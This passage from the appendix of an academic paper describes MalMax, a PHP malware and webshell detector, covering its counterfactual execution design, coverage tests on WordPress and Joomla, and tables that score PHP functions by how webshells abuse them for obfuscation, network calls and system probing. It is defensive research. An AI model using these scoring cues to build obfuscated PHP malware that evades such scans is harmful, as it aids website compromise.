the current isolated execution CurIE, and a basic block BB that will
be analyzed (Line 1). Note that there are multiple isolated execu-
tions, and each isolated execution can start at any basic blocks.
Precisely,MalMax’s analysis can start at any statements (i.e., in-
structions) of a program. In this algorithm, we use basic blocks
for simplicity. CreateIsolatedExecution creates a new isolated
execution which inherits execution contexts (e.g., the instruction
pointer, states of variables) from the current isolated execution.
UpdateIsolatedExecution updates execution state (e.g., values
of global scope artifacts) of an isolated execution.

It executes each instruction from the beginning of the input
basic block (Line 2). When it encounters a branch instruction, it
executes all branches of the instruction (Lines 3-6), running the
taken branch within the same isolated execution (Line 4) and the
not-taken branch in a new isolated execution (Line 5-6). Note that
calling Exercise with the current isolated execution is specially
handled (Line 4). Specifically, it will continue the execution and
analysis without forming a recursion.

Lines 7-14 represent the global resource sharing scheme in co-
operative isolated execution. If an instruction accesses unresolved
artifact (e.g., a function that is not defined, an environment variable
that is not set, etc.) (Line 7),MalMax looks at other available isola-
tions that have resolved the artifact (Lines 8-10). For each resolved
artifact, MalMax creates a new isolation with the resolved artifact
(e.g., function definition) (Lines 12-13) to exercise the path with a
new context with the shared artifact (Lines 14).

Finally, we conduct an analysis for every instruction (Line 15).

B.1 Design Rationale

The rationale behind counterfactual execution and cooperative
isolated execution is the design and behavior of popular, sizable
real-world applications such as Wordpress, Joomla, and several
other PHP applications [10]. In this section, we will review some
of these design patterns.
Autoloading Classes (Autoloaders). Autoloaders [54] are a PHP
feature that enable classes and interfaces to be automatically loaded
if they are not yet defined. Autoloaders find the respective source
code file that contains the class definition and include it into the
program, allowing the class definition to exist prior to object in-
stantiation.

Many real-world PHP applications (e.g., Joomla and Wordpress)
pervasively use autoloaders. As noted in Section 4.4, Joomla has
2,476 PHP source code files, but only 522 are statically loaded via
include and require statements, meaning that the majority of
files are included with a dynamic include call (e.g., autoloaders).
Specifically, Joomla has 4 polymorphic classes for web session han-
dling, respectively relying on files, databases (e.g., MySQL [50]),
in-memory stores (e.g., Memcached [45], Redis [59]) and native
PHP sessions. Depending on application configurations, Joomla
constructs a dynamic class name of one of the 4 polymorphic classes
and instantiates the object for session handling. The constructed
dynamic class name is processed by the autoloader to include a
PHP source code file for the class.

Without knowing the configuration parameter, an analysis en-
gine is likely to miss a large portion of the code (e.g., the session
handler classes), leading to an under-approximation of the analysis
results (e.g., breaking many features of the program).
Pervasiveness of Plugin Architecture. PHP applications such
as Wordpress and Joomla have vast repositories of popular plug-
ins (e.g., 55,137 plugins for Wordpress as of this writing). These
plugins are created and maintained by third-party developers, and
often have various vulnerabilities which are commonly targeted
by malicious attackers. The plugins are simply copied inside the
application directory, and their initialization code is loaded from
the database and dynamically executed as part of the application
initialization on each run.



Wordpress introduces pluggable functions [75] to facilitate plugin
developments. Pluggable functions let you override certain core
functions via plugins, meaning that their definitions can be overrid-
den by a plugin dynamically. For instance, there are many plugins
that override Wordpress’s email sending functions, allowing users
to modify the contents of emails sent. �

The prevalent usage of autoloaders and plugins in PHP appli-
cations motivate us to propose counterfactual execution aided by
cooperative isolation. The dynamic function names, file names and
class names are discovered in different isolated executions (many
of which are counterfactual), and shared with others via cooper-
ative isolation. For example, if an isolated execution attempts to
run a pluggable function wp_mail which is not yet defined, instead
of terminating,MalMax creates a new isolated execution with a
borrowed function definition from another isolated execution to
continue the execution.

B.2 Measuring Code Coverage Improvement

Table 6 shows code coverage results of scanning Wordpress
and Joomla with dynamic analysis, multi-path exploration (our
implementation) and counterfactual execution with cooperative
isolated execution.

In this experiment, code coverage is measured via covered lines
of code divided by total lines of code in the program. If there is
dynamically generated code (e.g., via eval()), we count it. Hence,
code coverage can go beyond 100%.

Observe that cooperative isolated execution is crucial in discov-
ering more code. In particular, it achieves 25.6% and 19% more code
coverage than multi-path exploration scheme without cooperative
isolated execution for Wordpress and Joomla respectively. Cooper-
ative isolated execution increases analysis time by about 10% (57s
and 40s for Wordpress and Joomla respectively), and increases code
coverage by more than 20%.

Note thatMalMax did not achieve full code coverage (i.e., 100%).
Ourmanual inspection reveals that there aremany unused code files
in each copy of the application. For example, the session handler
scenario in Joomla mentioned above results in existence of 4 files,
each representing one class for session handling, only one of which
is realistically utilized in each copy of Joomla, leaving the other 3
files unused. These unused files are counted towards total lines of
code as they exist in the same program folder.

Dynamic
1

Multi-path
2

MalMax
3

State-

ments

LOC

T4 C5 T4 C5 T4 C5

Wordpress 4.2.2 10.1s 49% 522s 56% 579s 81.6% 58786 262K
Joomla 3.5.1 9.5s 21.7% 485s 48% 525s 67% 95271 472K

1: Vanilla dynamic execution. 2: Multi-path exploration.
3: Counterfactual execution + cooperative isolated execution. 4: Time.
5: Coverage. 6: Result includes dynamically generated code (e.g., eval).

Table 6: Coverage of main component (starting from in-

dex.php) of different PHP applications.

C MALWARE DETECTION METRICS

Observations. We observe that malware (including the notorious
c99 [58] and other Webshells) densely utilize functions that inspect
and modify the operating system and execution environment. How-
ever, some of these functions are also used in benign applications.
Moreover, we notice that in practice, malware are injected in the
middle of benign applications to make detection harder.

To minimize false positives caused by functions used by both
malware and benign applications, we assign different maliciousness
scores to a function based on the contents of function’s parameters.
For instance, we consider decompressing data to be malicious only
if the decompressed data includes parseable code.

We also consider functions that are executed as part of dynami-
cally generated code more malicious than those executed outside
dynamic code generation. This is because malware often hides its
payload through obfuscations that are commonly implemented
using dynamic code generation techniques. It is possible for a be-
nign application to obfuscate code blocks with high MS scores for
legitimate reasons. However, in our experience, this is very rare.
Determining Potentially Malicious Functions and Their Ma-

liciousness Scores. As mentioned in Section 3.3, we categorized
PHP functions into two categories: Potentially Malicious Functions
(PMF) and Safe Functions (SF). As listed in Table 7, 294 functions
were categorized as SF manually. SFs do not affect system state
hence they are executed normally and have a maliciousness score
of zero. The remainder of PHP functions are categorized as PMF.
In PHP 7.2 (with default extensions on macOS), there are 1,438
PMFs. To prevent PMFs from affecting the host system, the anal-
ysis replaces them with a function that immediately returns null.
MalMax neutralizes all functionalities that affect the system state.
PMFs have a maliciousness score of 1.

Besides, we have identified 31 functions that are frequently used
in both malicious and benign applications. To better capture the
execution context of these functions (i.e., whether the functions are
used in malware or not), we assign fine-grained scores for each of
the function as shown in Table 8 including reasons for the assigned
scores.

Specifically, functions for encoding/decoding, encryption/de-
cryption, and compression/decompression have different scores
depending on their parameters. For instance, I/O functions have a
higher maliciousness scores when they access the network, com-
pared to when they access the file system.

We assign a maliciousness score of 0 for the functions that initial-
ize or create objects (e.g., curl_init, fopen, and mysqli_init)
as these functions alone do not exhibit malicious behavior but subse-
quent operations on the created objects do.We assign maliciousness
scores 1 or 2 on the subsequent operations.

There are several functions that have a score of 0, including
unlink, getcwd, mkdir, and MySQL functions. As they are perva-
sively used in both malware and benign applications, we assign the
0 scores to avoid false positives. However, as they can affect the
host system state, we sandbox them.

Section 5 includes a sensitivity analysis of fine-grained scoring
on these 31 functions.



Safe Functions

abs, addcslashes, addslashes, apache_getenv, array_change_key_case, array_combine, array_diff, array_diff_assoc, array_fill, array_fill_keys, array_filter, array_flip,
array_intersect, array_intersect_key, array_key_exists, array_keys, array_map, array_merge, array_pop, array_push, array_replace, array_replace_recursive, array_reverse,
array_search, array_shift, array_slice, array_splice, array_unique, array_unshift, array_values, array_walk, array_walk_recursive, asort, assert, basename, bin2hex,
call_user_func, call_user_func_array, ceil, checkdate, chr, class_alias, class_exists, class_implements, closedir, compact, constant, count, create_function, crypt, curl_close,
curl_error, curl_getinfo, curl_setopt, curl_setopt_array, curl_version, current, date, date_create, date_default_timezone_get, date_default_timezone_set, date_format,
debug_backtrace, dechex, define, defined, dirname, dirname, dirname, each, end, error_log, error_reporting, explode, extension_loaded, extract, fclose, file_exists, filegroup,
filemtime, fileowner, fileperms, filesize, filter_var, floor, flush, flush, func_get_arg, func_get_args, func_get_args, func_num_args, function_exists, gd_info, get_class,
get_class_methods, get_defined_vars, get_html_translation_table, get_loaded_extensions, get_magic_quotes_gpc, get_object_vars, get_parent_class, getenv, gethostbyname,
glob, gmdate, hash_equals, hash_hmac, header, header_remove, headers_list, headers_sent, hex2bin, hexdec, html_entity_decode, htmlentities, htmlspecialchars,
http_build_query, iconv_set_encoding, implode, in_array, ini_get, interface_exists, intval, is_a, is_array, is_bool, is_callable, is_dir, is_file, is_float, is_int, is_null, is_numeric,
is_object, is_readable, is_resource, is_scalar, is_string, is_writable, join, json_decode, json_encode, key, krsort, ksort, ltrim, max, mb_check_encoding, mb_convert_encoding,
mb_detect_encoding, mb_internal_encoding, mb_strlen, mb_strpos, mb_strpos, mb_strrpos, mb_strstr, mb_strtolower, mb_substr, md5, memory_get_usage, method_exists,
microtime, min, mktime, move_uploaded_file, mt_rand, mysqli_errno, mysqli_error, mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_object, mysqli_fetch_row,
mysqli_free_result, mysqli_get_client_info, mysqli_get_server_info, mysqli_insert_id, mysqli_more_results, mysqli_num_fields, mysqli_num_rows, mysqli_ping,
mysqli_real_escape_string, mysqli_set_charset, next, nl2br, number_format, ob_end_clean, ob_end_flush, ob_flush, ob_get_clean, ob_get_contents, ob_get_flush, ob_get_level,
ob_implicit_flush, ob_start, openssl_decrypt, openssl_random_pseudo_bytes, ord, parse_ini_string, parse_str, parse_url, pathinfo, php_sapi_name, phpversion, pow, preg_grep,
preg_match, preg_match_all, preg_quote, preg_replace_callback, preg_split, prev, print_r, printf, property_exists, rand, random_byes, range, rawurldecode, rawurlencode,
readdir, readfile, realpath, register_shutdown_function, reset, round, rtrim, scandir, serialize, session_cache_limiter, session_destroy, session_get_cookie_params, session_id,
session_name, session_save_path, session_set_cookie_params, session_set_save_handler, session_start, session_status, session_unset, session_write_close, set_error_handler,
set_exception_handler, setcookie, setlocale, settype, sha1, simplexml_load_file, sizeof, sort, spl_autoload_register, spl_autoload_unregister, spl_object_hash, sprintf, str_ireplace,
str_pad, str_repeat, str_replace, str_split, strcasecmp, strip_tags, stripos, stripslashes, stristr, strlen, strpbrk, strpos, strrev, strrpos, strstr, strtolower, strtotime, strtoupper, strtr,
strval, substr, substr_count, substr_replace, sys_get_temp_dir, time, timezone_identifiers_list, timezone_open, trigger_error, trim, ucfirst, uksort, uniqid, unserialize, urldecode,
urlencode, usort, utf8_encode, var_dump, version_compare, vsprintf

Table 7: Safe functions (SFs) as used in PhpMalScan. These functions are executed normally and incur nomaliciousness score

towards malware detection.

Function Description Maliciousness Score

base64_decode Deobfuscate code before dynamic evaluation 2 if result is parseable code, 0 otherwise
base64_encode Obfuscate new copies of malware 2 if parseable code, 0 otherwise
chdir Change the working directory, commonly used in Webshells 2 if input variable, 0 if constant
curl_exec Send HTTP requests 2 if input variable, 1 if constant
curl_init Initiate HTTP requests 0
file_get_contents, file_put_contents Read/Write file/URL via stream 2 on URL and other files, 1 on STDIN, 0 on working directory file
fopen Open file for reading/writing 0
fread, fwrite Read/Write from file handle 2 on URL and other files, 1 on STDIN, 0 on working directory file
get_current_user Used by Webshells to determine access 1
getmypid Return the current process id 1
gzcompress, gzdeflate Compress data 2 if parseable code, 0 otherwise
gzinflate, gzuncompress Uncompress data 2 if result is parseable code, 0 otherwise
mail Send email 1
getcwd Get current working directory 0
ini_set Set PHP configuration parameters 0
mkdir Create directory 0
mysqli_affected_rows Return number of results for a SQL query 0
mysqli_connect Connect to a MySQL server 0
mysqli_init Initiate a SQL query 0
mysqli_query Run a SQL query 0
mysqli_real_connect Persistent connection to MySQL 0
mysqli_select_db Select a database 0
opendir Open a directory for listing 0
preg_replace Regular expression search and replace 2 if eval modifier present, 0 otherwise
rmdir Remove directory 1
str_rot13 Simple cipher, commonly used by weak malware 1
unlink Remove a file 0

Table 8: Functions sandboxed in PhpMalScan to preserve correctness and increase detection accuracy. The insight for each

function as well as the respective maliciousness score is included.
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